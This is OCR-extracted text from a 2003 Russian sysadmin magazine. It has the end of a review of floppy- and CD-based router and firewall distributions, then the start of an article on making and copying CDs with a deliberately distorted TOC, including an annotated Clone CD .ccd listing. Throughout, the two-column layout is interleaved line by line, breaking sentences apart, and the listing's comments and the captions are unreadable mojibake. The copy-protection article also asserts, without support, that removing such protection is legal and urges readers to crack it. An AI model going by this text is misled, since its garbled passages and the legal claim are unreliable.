выбрать размер будущей системы (от 1.44 до 1.73 Мб), чего система компилируется и записывается на дискету,
настроить сетевые интерфейсы, оптимизировать под ис- которую можно тут же клонировать. Поддерживается толь-
пользуемый процессор (от 386 без сопроцессора до 486), ко два сетевых интерфейса, но в FAQ можно найти ответ,
задать дополнительные приложения (ssh, webmin и пр.), при как создать DMZ (DeMiliterized Zone) для компьютеров, ко-
торым необходимы реальные IP-адреса (www, е-mail, ftp-
серверы) при помощи ifconfig.
Ulric’s Router Construction Kit (http://siag.nu/urck/) позво-
ляет собрать свой роутер на дискете, используя современ-
ные ядра серии 2.4.x. В комплекте идут только базовые
утилиты, но при необходимости можно расширить основ-
ные возможности роутинга за счет пакета Zebra (http://
www.zebra.org/) и пакета Vrrpd (http://w3.arobas.net/~jetienne/
vrrpd/index.html), позволяющего двум маршрутизаторам
контролировать работу друг друга и подстраховать, если
один из них выйдет из строя.
ShareTheNet (http://sharethenet.webserv.com) – вообще-
то один из первых подобных проектов (router + firewall), и
автор на первых порах продавал его очень долго и, как
мне кажется, довольно успешно, только относительно не-
давно (что-то около года) он стал бесплатным и доступ-
ным для свободной закачки. Первоначально необходимо
установить программу под Windows(рис.3), после чего со-
здать при помощи визарда дискету (рис.3а). Удаленное
администрирование также осуществляется при помощи
Ðèñóíîê 2. этой утилиты. Системные требования 80386+ и 8Mб, под-

№9(10), сентябрь 2003 27


администрирование

Ðèñóíîê 3.
держивается два сетевых интерфейса (Ethernet и модем).
К сожалению, Linux Router Project (LRP 1997-2002) Дей-
ва Синейджа (Dave Cinege), размещавшийся по адресу Ðèñóíîê 3à.
http://linuxrouter.org/, буквально на днях приказал долго вать маленькие дистрибутивы, которые можно использо-
жить, но еще доступны старые версии этого неплохого вать в качестве маршрутизаторов, серверов доступа, тон-
дистрибутива. Другой проект, который работал парал- ких серверов и клиентов и прочих простых сетевых встра-
лельно, LEAF – Linux Embedded Appliance Firewall (http:// иваемых систем.
leaf.sourceforge.net), поддерживающий ядро 2.4.20 и тему FrazierWall Linux (http://www.frazierwall.com/) – еще один
LRP в нескольких вариациях, все еще продолжает созда- проект, берущий свое начало от LRP и Coyote Linux, но

Ðèñóíîê 4.

28
администрирование

Ðèñóíîê 4à.
после внесенных изменений уже в принципе заметно от- ется в двух вариантах: floppy, требующий две дискеты,
личающийся от своих прародителей. Его можно исполь- компьютер с процессором i386 и 4 Мб ОЗУ и СD-ROM (13.4
зовать в качестве NAT, роутера, firewall. Поддерживают- Мб), который загружается и работает только с СD-ROM,
ся DHCP для локальных клиентов, time server и отправка т.е. не требует установки на жесткий диск, и кроме спа-
логов firewall и предупреждения защиты по почте. Кроме сательных функций их возможно использовать в качестве
этого основной упор был сделан на легкость конфигури- gateway/firewall и dialup gateway. Дискетный вариант име-
рования и безопасность. Security обеспечивают дополни- ет шесть различных ревизий, каждая из которых направ-
тельные скрипты и предустановленный набор правил лена на решение одной конкретной задачи (Internet Dialup
firewall, позволяющий первоначально установить ее и но- Gateway, Full Rescue disk with ssh client support, Local and
вичку в этом деле. Системные требования процессор – Remote admin system with ssh support, Firewall Gateway,
i486 и 16 Mб RAM. Firewall/routing Gateway и companion disk с основными ути-
Далее речь пойдет о дистрибутивах, требующих уже литами). СD-ROM-вариант, естественно, имеет все эти и
СD-ROM для своей установки или работы. Появление их дополнителные возможности: VPN (Virtual Private Network),
вполне закономерно и понятно, не все необходимые фун- DHCP-сервер и поддержка PPPoA xDSL; Zebra Router, RIP,
кции можно запихнуть на дискету, плюс медленный, но OSPF, BGP; клиент и сервер SSH2; Full Rescue Disk
все-таки постепенный уход этого устройства и распрост- Facilities; syslogd; PPP Dial-on-demand Internet Gateway
раненность СD-RW, позволяющая любому записать их на (модемный Интернет по требованию). Все это построено
болванку. Да и мощность «устаревшего» оборудования на ядре 2.4.18 с поддержкой большинства устройств. Ин-
постепенно растет, если года три назад это были i386, то тересно, что в целях повышения безопасности файловая
теперь к ним относятся и i586 компьютеры и Celeron пер- система монтируется только в режиме read-only и не по-
вых выпусков. И вполне естественно, так как записать зволяет сохранить настройки на дискету. Чтобы иметь воз-
свою конфигурацию обратно на СD-ROM не получится, можность работать со своими настройками, первоначаль-
то в большинстве дистрибутивов имеется опция сохране- но необходимо внести свои данные в скачанный образ и
ния их на дискету или для работы необходим уже жест- затем уже записывать его на болванку или дискету. Как
кий диск, хотя в этом случае возможны варианты. это все можно проделать и в какие файлы вносить изме-
Keeper Linux (http://www.keeper.org.uk/) разрабатыва- нения, очень подробно рассказано в двух документах –

№9(10), сентябрь 2003 29


администрирование

Ðèñóíîê 5.
«CDROM Distribution Howto» и «Floppy Distribution Howto», ловой системы ext2fs/3fs. Дальше необходимо просто че-
которые не грех и просто почитать как пример разделки стно ответить на вопросы об IP-адресах (поддерживается
подобных дистрибутивов. Теперь при попытке записи в три сетевых интерфейса GREEN, RED, ORANGE, доступ
RAM-устройство система обнаруживает это и просто пе- к которым можно настроить в различных варианциях),
резагружается, восстанавливая настройки по умолчанию. выбрать раскладку клавиатуры, временной пояс и при
Несмотря на первоначальную возню с образами, он пол- необходимости ввести телефонный номер провайдера, но,
ностью соответствует своему девизу «Powerful, Reliable к сожалению, только один. Сетевые устройства програм-
and Secure». ма установки находит сама, при неудаче можно попробо-
SmoothWall (http://www.smoothwall.org/). Первый дист- вать выбрать из довольно объемистого списка. После все-
рибутив этого проекта увидел свет в июле 2000 года, со- го следует запрос трех паролей для пользователей root,
здается он администраторами и специалистами по безо- setup (для запуска программы изменения первичных на-
пасности. Причем самое бурное развитие приходится на строек /usr/local/sbin/setup) и admin. После окончания про-
2003 год. Если в конце прошлого (2002) года мне пришлось цесса установки можно, предварительно достав выехав-
работать с версией 0.9.9, то сейчас уже доступна бета 5 ший диск, запихать компьютер под стол. Все дальнейшие
версии 2.0 «Orient». Данный дистрибутив построен на со- действия по настройке теперь можно производить через
временном ядре серии 2.4.21, имеет низкие системные удобный веб-интерфейс (рис.4, 4а), для чего нужно зайти
требования (рекомендуется 486i, 16 Мб ОЗУ), поддержи- по адресу http://smoothwall:81 или https://smoothwall:445 для
вает кроме разнообразных сетевых устройств (Ethernet работы по защищенному протоколу. И теперь можно уз-
10/100, ISDN, USB ADSL) и обычные аналоговые модемы, нать статистику о работе роутера (uptime, учет количе-
также и IDE CD-ROM (с которого, собственно, произво- ства пакетов и скорость передачи по интерфейсам, ис-
дится инсталляция дистрибутива), и, конечно же, диско- пользование диска, пользователи), получить справку о
вод. ISO-образ дистрибутива занимает чуть более 20 Мб. настройке тех или иных параметров, войти в shell, изме-
Установка особой сложности не вызывает. Программа ус- нить работу некоторых сервисов, остановить (или пере-
тановки сама автоматически разбивает диск /dev/hda на загрузить) роутер или отключить один из интерфейсов.
4 раздела (/boot, swap, /var/log и корневой), хотя в даль- Теперь о некоторых features. SmootWall выполняет роль
нейшем это можно изменить. В комплект входят все не- кеширующего веб-сервера (по умолчанию: время обнов-
обходимые утилиты для создания и обслуживания фай- ления 15 мин, кеш 4 Мб), при необходимости в DHCP-сер-

30
администрирование

Ðèñóíîê 5à.
висе нужно просто указать в setup в соответствующей SSH, SNMP и DHCP-сервер, кеширующий DNS-сервер,
вкладке диапазон IP-адресов и включить сервис. Кроме zebra RIP, OSPF и BGP, crond и, что приятно, почему-то
веб-интерфейса можно войти с помощью SSH. В лог-фай- редко встречающийся nmap.
лах (которые можно импортировать нажатием одной кноп- Astaro Security Linux (http://www.astaro.com/) – еще один
ки) можно найти подробные данные сетевой системы пре- дистрибутив, основное назначение которого – организа-
дупреждения о вторжении (NIDS) snort (имя, адрес, дата, ция совместного доступа в Интернет, но вот размер (пос-
степень опасности и т. д.), подробности работы firewall и ле распаковки архива получается 216 Мб) уже говорит о
отчеты всех остальных запущенных сервисов и ядра. серьезности подхода, а название – об основной направ-
Имеется возможность создания VPN, используя IPSec, ленности. После установки на жесткий диск, кроме firewall
устанавливающуюся вместе с системой (трафик при этом и контекстного фильтра, защищающего в том числе и от
шифруется при помощи алгоритма 3DES). Единственная вирусов, можно организовать DMZ, proxy server, SNAT,
сложность при установке SmoothWall, о которой довелось DNAT, Masquerading и VPN, которые делают этот дистри-
пока слышать, на очень старых компьютерах (скорее все- бутив идеальным решением для защиты сети. Интерес-
го из-за BIOS) это: но, что при инсталляции можно лишь настроить дистри-
бутив в общих чертах (указывается только IP-адрес са-
Unable to make boot filesystem мого сервера), основные же настройки можно произво-
/cdrom/bin/mke2fs: invalid option --j
дить, либо непосредственно редактируя конфигурацион-
Т.е. система не может создать раздел ext3. Решается ные файлы, либо более наглядно и проще для новичка
она, как ни странно, выбором типа установки при помо- через WebAdmin (рис.5, 5а). При помощи сервиса Up2Date
щи http, а не CD-ROM (если канал позволяет). можно автоматически обновлять компоненты, плюс неко-
Надежность старых жестких дисков тоже вызывает со- торые патчи доступны на сайте. Рекомендуется процес-
мнение, чтобы установить маршрутизатор на одно из ус- сор класса Intel Pentium II, 128 Мб ОЗУ, СD-ROM, жесткий
тройств DiskOnChip, использующих NFTL (NAND Flash диск, две или более сетевые карточки. Система поддер-
Translation Layer), необходимо обратиться к проекту живает большое количество разнообразных устройств, в
Routerlinux (http://www.routerlinux.com/). Установив затем том числе и знает о беспроводных. А документацию, ко-
кроме стандартных firewall/router/NAT модем и Ethernet, торой полно как на сайте, так и в дистрибутиве, не грех
можно создать VPN-туннель при помощи IPSec, имеется почитать и для общего развития.

№9(10), сентябрь 2003 31


администрирование

Ðèñóíîê 6à.
любом случае придется лезть в командную строку, всех
Ðèñóíîê 6. пунктов не предусмотришь. Но чтобы новичку не при-
Кроме Linux, естественно, имеется пара дистрибути- шлось самому разбираться с опциями firewall, имеется пре-
вов, основанных на BSD. дустановленный (Basic) набор правил для типичной сис-
PicoBSD (http://www.freebsd.org/~picobsd/) представля- темы и режим «Advanced» для добавления своего прави-
ет собой «one floppy» версию FreeBSD 3.0-current. Имеет- ла (надо отметить тоже с шаблонами, что существенно
ся три варианта этой системы: Dialup Version, Networking облегчает работу). Дополнительно имеется пункт меню
Version и Router Version, т.е. полноценная система, кото- monitor для отображения статистик, проходящих через
рую можно использовать как для маленького маршрути- систему пакетов. В данный момент не поддерживаются
затора, так и повседневного безопасного хождения по модемы и что-то наподобие IPSec, позволяющие создать
Интернету. Единственное, что не очень удобно для нович- VPN, и, что не очень удобно (но зато безопасно), удален-
ков, в угоду маленькому размеру, как и в большинстве ное управление (надеюсь ненадолго). Распространяется
описываемых дистрибутивов, в PicoBSD практически нет в двух вариантах для записи на дискету и более наворо-
документации, кроме отдельных man-страниц специфи- ченный СD-ROM-вариант (12.8 Мб), не требует установки
ческих для него приложений. Поэтому советую скачать и на жесткий диск, все настройки во втором варианте мож-
файл README, ссылка на который имеется возле каждо- но сбросить на дискету. Системные требования по-пре-
го дистрибутива. Наличие исходников дает прекрасную жнему невысоки – любой процессор от i386 с 8 Мб RAM в
возможность самому собрать PicoBSD под свои нужды. floppy-варианте и 32 Мб в СD-ROM.
Дополнительно по адресу http://www.kot.dp.ua/ можно най- Как видите, выбрасывать старый компьютер еще рано.
ти скрипты для учета трафика, некоторую переведенную Он еще может сослужить хорошую службу и сэкономить
информацию и другие полезные программы. деньги на покупку дорогого маршрутизатора. Дополни-
ClosedBSD (http://www.closedbsd.org/) также основан на тельно каждый из представленных дистрибутивов можно
FreeBSD и использует некоторые специфические для этой заточить под конкретную сеть и задачи.
системы приложения вроде ipfw, позволяет создать firewall
или NAT. Причем в отличие от того же PicoBSD большин-
ство основных настроек сетевых устройств можно произ-
вести при помощи вполне понятной системы меню (рис.6,
6а). Естественно, для более тонкого конфигурирования в

32
администрирование

ИСКАЖЕНИЕ TOC
КАК СРЕДСТВО БОРЬБЫ
С НЕСАНКЦИОНИРОВАННЫМ
КОПИРОВАНИЕМ ДИСКА
Уже давно
Утихло поле боя,
Но сорок тысяч
Воинов Китая
Погибли здесь,
Пожертвовав собою...
Ду Фо
«Оплакиваю поражение при Чэньтао»

Искажение TOC – жестокий, уродливый


но на удивление широко
распространенный прием,
использующийся в доброй половине
защитных механизмов. Штатные
копировщики на таких дисках
в буквальном смысле слова сходят
с ума и едут крышей. Копировщики
защищенных дисков (Clone CD,
Alcohol 120%) к искаженному TOC
относятся гораздо лояльнее,
но требуют для своей работы
определенного сочетания пишущего
и читающего приводов, да и в этом
случае копируют такой диск не всегда.

КРИС КАСПЕРСКИ

34
администрирование
Пишущий привод обязательно должен поддерживать ре- мира, не реагируя в том числе и на настойчивые попытки
жим RAW DAO (Disc At Once), в котором весь диск запи- пользователя сделать диску «EJECT». Дырку для аварий-
сывается за один проход лазера. Режим RAW SAO (Session ного выброса диска, правда, еще никто не отменял1, но, по
At Once) для этих целей совершенно непригоден, посколь- слухам, не везде она есть (хотя лично мне приводов без
ку предписывает приводу писать сначала содержимое сес- дырки еще не встречалось), а там где есть – зачастую ока-
сии, а потом – TOC. Как следствие – приводу приходится зывается скрытой за декоративной панелью или – что бо-
самостоятельно анализировать TOC, чтобы определить лее вероятно – пользователь может вообще не знать, что
стартовый адрес сессии и ее длину. Попытка записать ис- это за отверстие такое, для чего оно предназначено и как
каженный TOC в режиме SAO в общем случае приводит к им, собственно, следует пользоваться. На «Макинтошах»
непредсказуемому поведению привода и о работоспособ- таких дырок нет – это точно (или же «Маковские» пользова-
ной копии защищенного диска нечего и думать! Первая тели все сплошь идиоты). Во всяком случае, количество су-
встретившаяся приводу сессия с искаженным TOC обыч- дебных исков, поданных последними, в буквальном смысле
но оказывается и последней, т.к. остальные сессии пи- слова не поддается ни разуму, ни исчислению. Самое инте-
сать уже некуда (искажение TOC обычно преследует цель ресное, что подавляющее большинство этих исков были
увеличения размера сессии до нескольких гигабайт). удовлетворены и разработчикам пришлось оплатить и «ре-
Читающий привод помимо режима «сырого» чтения (ко- монт» аппаратуры, и моральный ущерб, и собственно сами
торый поддерживают практически все приводы) должен судебные издержки. (Между нами говоря, снятие защиты с
уметь распознавать искаженный TOC, автоматически пе- дисков, записанных с грубыми нарушениями стандарта, ко-
реходя в этом случае на использование «резервного» сред- ими, в частности, и являются диски с искаженным TOC, не
ства адресации – Q-канала подкода. В противном случае считается взломом, и не преследуется по закону, поэтому
сессия, содержащая искаженный TOC, окажется недоступ- ломайте, ломайте и еще раз ломайте).
ной для чтения даже на секторном уровне.
Таким образом, копирование дисков с искаженным Создание защищенного диска
TOC осуществимо не на всяком оборудовании и порядка с искаженным TOC
1/3 моделей «писцов» для этих целей непригодны. Узнать, Для создания защищенного диска с искаженным TOC нам
поддерживает ли выбранная вами модель привода режим понадобится: любая программа записи на диск, умеющая
RAW DAO или нет, можно, в частности, из раздела «Tech создавать многосессионные диски (например, Roxio Easy
support» справки Clone CD, где перечислены характерис- CD Creator), копировщик защищенных дисков, сохраняю-
тики достаточно большого количества всевозможных при- щий содержимое TOC в текстовом файле, доступном для
водов (впрочем, моих приводов там, увы, нет). Другой редактирования (мы выбираем Clone CD), и, естественно,
путь – «скормить» приводу SCSI/ATAPI команду 46h (GET сам пишущий привод, поддерживающий режим сырой за-
CONFIGURATION) и посмотреть, что он ответит. Из двух писи в режиме DAO. Для облегчения восприятия материа-
моих «писцов» режим RAW DAO поддерживает один лишь ла все действия будут расписаны по шагам, хотя это выг-
NEC. С определением возможности чтения искаженных лядит и не слишком литературно.
сессий дела обстоят на порядок сложнее, ибо данная осо-
бенность поведения является исключительно внутренней Шаг первый
характеристикой привода и не афишируется ни самим Достаем из упаковки CD-R болванку или – что даже луч-
приводом, ни его производителями. Приходится выяснять ше – засовываем в привод потертый жизнью CD-RW диск
эту информацию экспериментально. Возьмите диск с чу- и записываем на него пару сессий в штатном режиме.
довищно искаженным TOC (о том, как его создать, рас- Будет лучше (вернее, нагляднее), если вторая сессия бу-
сказано ниже), воткните его в привод и попробуйте про- дет включать в себя файлы первой сессии – той самой
честь несколько секторов из искаженной сессии. Реак- сессии, чей TOC мы и собираемся искажать. Интересно,
ция приводов может быть самой разнообразной. Тот же сможет ли привод прочесть ее содержимое или нет?
PHILIPS в зависимости от «настроения» своих электрон-
ных цепей то рапортует об ошибке чтения, то возвращает Шаг второй
совершенно бессмысленный мусор, в котором не угады- Запускаем Clone CD и просим его создать образ ориги-
вается даже синхропоследовательность, возглавляющая нального диска (выбираемый профиль настроек на дан-
заголовок сырого сектора. ном этапе некритичен, поскольку диск еще не защищен,
Основной недостаток защитных механизмов с искажен- то с равным успехом можно использовать как «CD с дан-
ным TOC состоит в том, что некоторые приводы такие дис- ными», так и «Protected PC Game»; галочку «создавать
ки просто «не видят» и потому не могут их воспроизвести. Cue-Sheet» взводить необязательно – все равно она дей-
Легальный пользователь, испытавший несовместимость ствительна лишь на односессионных CD).
защиты со своей аппаратурой, в лучшем случае обложит ее
разработчика матом и поспешит вернуть диск продавцу… Шаг третий
если, конечно, сможет вытащить эту «бяку» из недр CD- Если все сделано правильно и программно-аппаратное
ROM, и не факт, что у него получится, поскольку микро- обеспечение во всей своей совокупности работает нор-
процессорная начинка некоторых приводов при попытке мально, на жестком диске должны образоваться три фай-
анализа искаженного TOC просто «зависает» и привод пол- ла: IMAGE.CCD, – несущий в себе содержимое Q-канала
ностью абстрагируется от всех раздражителей внешнего подкода Lead-In области или, попросту говоря, TOC;

№9(10), сентябрь 2003 35


администрирование
IMAGE.IMG – «сырой» образ диска со всеми секторами от [Entry 2] ; äàííûå ýëåìåíòà TOC ¹2
Session=1 ; ýëåìåíò ñåññèè 1
00:00:02 до «сколько-на-диске-есть-там» и IMAGE.SUB – со- Point=0xa2 ; ïîëîæåíèå Lead-out-îáëàñòè
держимое полей подкода «программной» части диска. ; â PMin:PSec:PFrame
ADR=0x01 ; q-Mode == 1
Последний файл в принципе может и отсутствовать (он Control=0x04 ; äèñê ñ äàííûìè, çàïðåùåííûé
создается только, если взведена галочка «Чтение субка- ; äëÿ êîïèðîâàíèÿ
TrackNo=0 ; òðåê, êîòîðûé ìû ñåé÷àñ ÷èòàåì, –
налов из треков с данными»), но это некритично, т.к. сей- ; ýòî Lead-in-òðåê (ò.å. TOC)
час нас в первую очередь интересуют не каналы подко- AMin=0 ; \
ASec=0 ; + - àáñîëþòíûé àäðåñ òåêóùåãî òðåêà
да, а сам TOC! AFrame=0 ; /
Откроем файл IMAGE.CCD в любом текстовом редак- ALBA=-150 ; LBA-àäðåñ òåêóùåãî òðåêà
Zero=0 ; ýòî ïîëå äîëæíî áûòü ðàâíî íóëþ,
торе и попытаемся перевести расклад геометрии диска ; êàê îíî è åñòü
на человеческий язык. PMin=0 ; \
PSec=29 ; + - àáñîëþòíûé àäðåñ Lead-out-îáëàñòè
; ñåññèè 1
Ëèñòèíã 1. Ñîäåðæèìîå íåèñêàæåííîãî TOC â ñûðîì âèäå. Îáîá- PFrame=33 ; /
ùåííî ãîâîðÿ, äèñê ñîäåðæèò äâå ñåêöèè – ïî îäíîìó òðåêó PLBA=2058 ; LBA-àäðåñ Lead-out-îáëàñòè ñåññèè 1
êàæäàÿ. Àáñîëþòíûé àäðåñ íà÷àëà ïåðâîãî òðåêà 00:00:02,
àáñîëþòíûé àäðåñ Lead-out-îáëàñòè ïåðâîé ñåññèè 00:29:33 [Entry 3] ; äàííûå ýëåìåíòà TOC ¹3
(àäðåñ ïîñëåäíåãî ñåêòîðà òðåêà íà äâå ñåêóíäû êîðî÷å), Session=1 ; ýëåìåíò ñåññèè 1
àáñîëþòíûé àäðåñ íà÷àëà âòîðîãî òðåêà 03:01:33, à àáñîëþò- Point=0x01 ; äàííûå òðåêà 1 ñåññèè 1
íûé àäðåñ Lead-out âòîðîé ñåññèè 03:24:33. Ìàêñèìàëüíî äî- ADR=0x01 ; q-Mode == 1
ñòèæèìàÿ åìêîñòü äèñêà 22:14:34 (õîòÿ íà ñàìîì äèñêå è Control=0x04 ; äèñê ñ äàííûìè, çàïðåùåííûé
íàïèñàíî, ÷òî îí 23-ìèíóòíûé). ; äëÿ êîïèðîâàíèÿ
TrackNo=0 ; òðåê, êîòîðûé ìû ñåé÷àñ ÷èòàåì, –
[CloneCD] ; äàííûå î Clone CD ; ýòî Lead-in-òðåê (ò.å. TOC)
Version=3 ; âåðñèÿ Clone CD. AMin=0 ; \
ASec=0 ; + - àáñîëþòíûé àäðåñ òåêóùåãî òðåêà
[Disc] ; äàííûå äèñêà AFrame=0 ; /
TocEntries=12 ; êîëè÷åñòâî ýëåìåíòîâ TOC ALBA=-150 ; LBA-àäðåñ òåêóùåãî òðåêà
Sessions=2 ; êîëè÷åñòâî ñåññèé = 2 Zero=0 ; ýòî ïîëå äîëæíî áûòü ðàâíî íóëþ,
DataTracksScrambled=0 ; ïîëå DVD (ñì. inf-8090), äëÿ CD ; êàê îíî è åñòü
; ýòà èíôîðìàöèÿ ëèøåíà ñìûñëà PMin=0 ; \
CDTextLength=0 ; CD-Text â ïîëÿõ ïîäêîäà PSec=2 ; + - àáñîëþòíûé àäðåñ íà÷àëà òðåêà 1
; Lead-in-îáëàñòè îòñóòñòâóåò ; ñåññèè 1
[Session 1] ; äàííûå ñåññèè 1 PFrame=0 ; /
PreGapMode=1 ; òèï òðåêà Mode 1 (òðåê ñ äàííûìè, PLBA=0 ; LBA-àäðåñ íà÷àëà òðåêà 1 ñåññèè 1
; 2048 áàéò äàííûõ)
PreGapSubC=0 ; äàííûõ ïîäêàíàëà íåò [Entry 4] ; äàííûå ýëåìåíòà TOC ¹4
Session=1 ; ýëåìåíò ñåññèè 1
[Session 2] ; äàííûå ñåññèè 2 Point=0xb0 ; ïîçèöèÿ ñëåäóþùèé çàïèñûâàåìîé îáëàñòè
PreGapMode=1 ; òèï òðåêà Mode 1 (òðåê ñ äàííûìè, ; â AMin:ASec:AFrame
; 2048 áàéò äàííûõ) ADR=0x05 ; q-Mode == 1
PreGapSubC=0 ; äàííûõ ïîäêàíàëà íåò Control=0x04 ; äèñê ñ äàííûìè, çàïðåùåííûé
; äëÿ êîïèðîâàíèÿ
[Entry 0] ; äàííûå ýëåìåíòà TOC ¹0 TrackNo=0 ; òðåê, êîòîðûé ìû ñåé÷àñ ÷èòàåì, –
Session=1 ; ýëåìåíò ñåññèè 1 ; ýòî Lead-in-òðåê (ò.å. TOC)
Point=0xa0 ; íîìåð ïåðâîãî òðåêà ñåññèè 1 AMin=2 ; \
; â PMin/òèï äèñêà â PSec ASec=59 ; + - àáñîëþòíûé àäðåñ ñëåäóþùåé
ADR=0x01 ; q-Mode == 1 ; çàïèñûâàåìîé îáëàñòè
Control=0x04 ; äèñê ñ äàííûìè, çàïðåùåííûé AFrame=33 ; /
; äëÿ êîïèðîâàíèÿ ALBA=13308 ; LBA-àäðåñ ñëåäóþùåé çàïèñûâàåìîé îáëàñòè
TrackNo=0 ; òðåê, êîòîðûé ìû ñåé÷àñ ÷èòàåì, – Zero=3 ; êîë-âî pointer â Mode 5
; ýòî Lead-in-òðåê (ò.å. TOC) PMin=22 ; \
AMin=0 ; \ PSec=14 ; + - àáñîëþòíûé àäðåñ ìàêñèìàëüíîé
ASec=0 ; + àáñîëþòíûé àäðåñ òåêóùåãî òðåêà ; çàïèñûâàåìîé îáëàñòè
AFrame=0 ; / PFrame=34 ; /
ALBA=-150 ; LBA-àäðåñ òåêóùåãî òðåêà PLBA=99934 ; LBA-àäðåñ ìàêñèìàëüíîé çàïèñûâàåìîé
Zero=0 ; ýòî ïîëå äîëæíî áûòü ðàâíî íóëþ, ; îáëàñòè
; êàê îíî è åñòü [Entry 5] ; äàííûå ýëåìåíòà TOC ¹5
PMin=1 ; íîìåð ïåðâîãî òðåêà ñåññèè 1 Session=1 ; ýëåìåíò ñåññèè 1
PSec=0 ; òèï äèñêà CD-DA è CD-ROM-äèñê â Mode 1 Point=0xc0 ; ñòàðòîâûé àäðåñ Lead-in-îáëàñòè
PFrame=0 ; íå íåñåò íèêàêîé ïîëåçíîé èíôîðìàöèè ; Hybrid-äèñêà (åñëè îí åñòü)
PLBA=4350 ; íîìåð òðåêà, ïðåäñòàâëåííûé Clone CD ADR=0x05 ; Mode 5 (Îðàíæåâàÿ êíèãà)
; êàê LBA-àäðåñ, ò.å. ãëóïîñòü Control=0x04 ; äèñê ñ äàííûìè, çàïðåùåííûé
[Entry 1] ; äàííûå ýëåìåíòà TOC ¹1 ; äëÿ êîïèðîâàíèÿ
Session=1 ; ýëåìåíò ñåññèè 1 TrackNo=0 ; òðåê, êîòîðûé ìû ñåé÷àñ ÷èòàåì, –
Point=0xa1 ; íîìåð ïîñëåäíåãî òðåêà ñåññèè 1 â PMin ; ýòî Lead-in-òðåê (ò.å. TOC)
ADR=0x01 ; q-Mode == 1 AMin=162 ; ðåêîìåíäóåìàÿ ìîùíîñòü ëàçåðà äëÿ çàïèñè
Control=0x04 ; äèñê ñ äàííûìè, çàïðåùåííûé ASec=128 ; Application code
; äëÿ êîïèðîâàíèÿ AFrame=140 ; çàðåçåðâèðîâàíî
TrackNo=0 ; òðåê, êîòîðûé ìû ñåé÷àñ ÷èòàåì, – ALBA=288590 ; LBA-"àäðåñ" òðåõ ïðåäûäóùèõ ïîëåé
; ýòî Lead-in-òðåê (ò.å. TOC) Zero=0 ; çàðåçåðâèðîâàíî
AMin=0 ; \ PMin=97 ; \
ASec=0 ; + àáñîëþòíûé àäðåñ òåêóùåãî òðåêà PSec=27 ; + - àáñîëþòíûé àäðåñ Lead-in-îáëàñòè
AFrame=0 ; / ; Hybrid-äèñêà
ALBA=-150 ; LBA-àäðåñ òåêóùåãî òðåêà PFrame=21 ; / (àäðåñ ëåæèò çà ïðåäåëàìè äèñêà,
Zero=0 ; ýòî ïîëå äîëæíî áûòü ðàâíî íóëþ, ; ò.å. Hybrid-äèñêà íåò)
; êàê îíî è åñòü PLBA=-11604 ; LBA-àäðåñ Lead-in-îáëàñòè Hybrid
PMin=1 ; íîìåð ïîñëåäíåãî òðåêà ñåññèè 1 ; (âû÷èñëåí ñ ïåðåïîëíåíèåì)
;(â ñåññèè òîëüêî îäèí òðåê) [Entry 6] ; äàííûå ýëåìåíòà TOC ¹6
PSec=0 ; íå íåñåò íèêàêîé ïîëåçíîé èíôîðìàöèè Session=1 ; ýëåìåíò ñåññèè 1
PFrame=0 ; íå íåñåò íèêàêîé ïîëåçíîé èíôîðìàöèè Point=0xc1 ; êîïèÿ ATIP-èíôîðìàöèè
PLBA=4350 ; íîìåð òðåêà, ïðåäñòàâëåííûé Clone CD ADR=0x05 ; -+
; êàê LBA-àäðåñ, ò.å. ãëóïîñòü Control=0x04 ; -+

36
администрирование
TrackNo=0 ; -+ PMin=3 ; \
AMin=4 ; -+ PSec=1 ; + - àáñîëþòíûé àäðåñ íà÷àëà òðåêà 2
ASec=120 ; -+ ; ñåññèè 2
AFrame=96 ; -+ PFrame=33 ; /
ALBA=26946 ; -+ – ATIP-èíôîðìàöèÿ PLBA=13458 ; LBA-àäðåñ íà÷àëà òðåêà 2 ñåññèè 2
Zero=0 ; -+
PMin=0 ; -+ [Entry 11] ; äàííûå ýëåìåíòà TOC ¹11
PSec=0 ; -+ Session=2 ; ýëåìåíò ñåññèè 2
PFrame=0 ; -+ Point=0xb0 ; àäðåñ ñëåäóþùåé çàïèñûâàåìîé îáëàñòè
PLBA=-150 ; -+ ; â AMin:ASec:AFrame
ADR=0x05 ; Mode 5
[Entry 7] ; äàííûå ýëåìåíòà TOC ¹7 Control=0x04 ; äèñê ñ äàííûìè, çàïðåùåííûé
Session=2 ; ýëåìåíò ñåññèè 2 (âîò ìû è äîáðàëèñü ; äëÿ êîïèðîâàíèÿ
; äî ñåññèè 2!) TrackNo=0 ; òðåê, êîòîðûé ìû ñåé÷àñ ÷èòàåì, –
Point=0xa0 ; íîìåð ïåðâîãî òðåêà ñåññèè 2 ; ýòî Lead-in-òðåê (ò.å. TOC)
; â PMin/òèï äèñêà â PSec AMin=4 ; \
ADR=0x01 ; q-Mode == 1 ASec=54 ; + - àáñîëþòíûé àäðåñ ñëåäóþùåé
Control=0x04 ; äèñê ñ äàííûìè, çàïðåùåííûé ; çàïèñûâàåìîé îáëàñòè
; äëÿ êîïèðîâàíèÿ AFrame=23 ; /
TrackNo=0 ; òðåê, êîòîðûé ìû ñåé÷àñ ÷èòàåì, – ALBA=21923 ; LBA-àäðåñ ñëåäóþùåé çàïèñûâàåìîé îáëàñòè
; ýòî Lead-in-òðåê (ò.å. TOC) Zero=1 ; êîëè÷åñòâî pointer Mode 5
AMin=0 ; \ PMin=22 ; \
ASec=0 ; + - àáñîëþòíûé àäðåñ òåêóùåãî òðåêà PSec=14 ; + - àáñîëþòíûé àäðåñ ïîñëåäíåé
AFrame=0 ; / ; âîçìîæíîé Lead-out-îáëàñòè
ALBA=-150 ; LBA-àäðåñ òåêóùåãî òðåêà PFrame=34 ; / (íà ñàìîì äèñêå íàïèñàíî 23 ìèí.,
Zero=0 ; ýòî ïîëå äîëæíî áûòü ðàâíî íóëþ, ; ýòî æ êàê íàäî îêðóãëÿòü 22:14:34)
; êàê îíî è åñòü PLBA=99934 ; LBA-àäðåñ ïîñëåäíåé âîçìîæíîé
PMin=2 ; íîìåð ïåðâîãî òðåêà ñåññèè 2 ; Lead-out-îáëàñòè
; (íóìåðàöèÿ òðåêîâ ñêâîçíàÿ!) [TRACK 1] ; äàííûå òðåêà 1
PSec=0 ; òèï äèñêà CD-DA è CD-ROM-äèñê â Mode 1 MODE=1 ; ðåæèì Mode 1
PFrame=0 ; íå íåñåò íèêàêîé ïîëåçíîé èíôîðìàöèè INDEX 1=0 ; post-gap?
PLBA=8850 ; íîìåð òðåêà, ïðåäñòàâëåííûé Clone CD
; êàê LBA-àäðåñ, ò.å. ãëóïîñòü [TRACK 2] ; äàííûå òðåêà 2
[Entry 8] ; äàííûå ýëåìåíòà TOC ¹8 MODE=1 ; ðåæèì Mode 1
